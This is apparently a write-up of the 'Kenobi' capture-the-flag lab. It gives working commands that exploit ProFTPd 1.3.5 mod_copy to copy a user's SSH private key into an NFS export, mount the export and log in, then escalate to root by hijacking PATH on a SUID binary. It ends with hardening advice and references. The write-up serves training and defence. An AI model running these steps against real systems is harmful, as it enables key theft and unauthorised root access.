Kenobi

Linux Easy Samba · ProFTPd · NFS ● Completed

TL;DR Samba shares leak an SSH key location → abuse ProFTPd 1.3.5 mod_copy to stage Kenobi's id_rsa into an NFS-exported path → mount NFS, grab the key, SSH in → SUID path hijack on /usr/bin/menu for root.

01Recon

nmap -sC -sV -oN nmap/kenobi 10.10.X.X
# 21 ProFTPD 1.3.5, 22 SSH, 80 HTTP, 111 rpcbind, 139/445 Samba, 2049 NFS
enum4linux -a 10.10.X.X
smbclient //10.10.X.X/anonymous -N        # download log file -> mentions /home/kenobi/.ssh/id_rsa
showmount -e 10.10.X.X                      # NFS export: /var

02Foothold — ProFTPd mod_copy + NFS

ProFTPd 1.3.5's mod_copy lets an unauthenticated user copy files with SITE CPFR/CPTO. Copy Kenobi's private key into the NFS-mounted /var, then mount it and read the key:

nc 10.10.X.X 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa

mkdir /mnt/kenobi && mount 10.10.X.X:/var /mnt/kenobi
cp /mnt/kenobi/tmp/id_rsa . && chmod 600 id_rsa
ssh -i id_rsa kenobi@10.10.X.X

user.txtTHM{…}

03Privilege Escalation — SUID path hijack

find / -perm -u=s -type f 2>/dev/null    # /usr/bin/menu stands out
/usr/bin/menu                             # runs system binaries by relative name (curl/ifconfig/uname)
# hijack PATH:
echo '/bin/sh' > /tmp/curl && chmod +x /tmp/curl
export PATH=/tmp:$PATH
/usr/bin/menu    # choose the option that calls curl -> root shell

root.txtTHM{…}

04Takeaways

Patch services — ProFTPd 1.3.5 mod_copy is a known unauthenticated file-copy primitive.
Lock down anonymous SMB & NFS exports; don't export writable paths that hold secrets.
SUID binaries must call absolute paths — relative calls invite PATH hijacking.

◆If this were my environment

Legacy FTP features exposed files through NFS and a SUID program trusted the caller's PATH. I would remove unnecessary services, tighten exports and make every privileged executable use absolute, trusted dependencies.

Priority controls

Patch or remove ProFTPd modules such as mod_copy when unused and restrict FTP to approved networks and accounts.
Export NFS only to explicit hosts with least privilege, root squashing and restrictive filesystem ownership; avoid exporting sensitive home data.
Remove unnecessary SUID bits; for unavoidable privileged programs, set a fixed environment and call absolute binary paths.
Use file-integrity monitoring to detect changes to SUID files, exports, service modules and privileged search paths.

Hardening guides and benchmarks

These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.

CIS CIS Benchmarks Consensus configuration baselines for operating systems, servers, containers and applications. DISA STIG Document Library DoD hardening checklists for Windows, Linux, Active Directory, IIS, databases and application servers. Canonical Ubuntu Security Guide Automated auditing and tailoring for CIS and DISA STIG profiles on supported Ubuntu releases. Red Hat RHEL 9 Security Hardening Host hardening, cryptographic policy, integrity, auditing, SELinux and compliance guidance. NIST SP 800-53 Rev. 5 controls A broad control catalog for access, configuration, audit, system integrity and incident response. CIS CIS Critical Security Controls v8 A prioritized control program for inventory, access, vulnerability management, logging and recovery.

Operational note CIS and DISA profiles can affect compatibility. Apply them through version-controlled policy, start in audit mode where supported, test business workloads and record every exception with an owner and review date.

back to writeups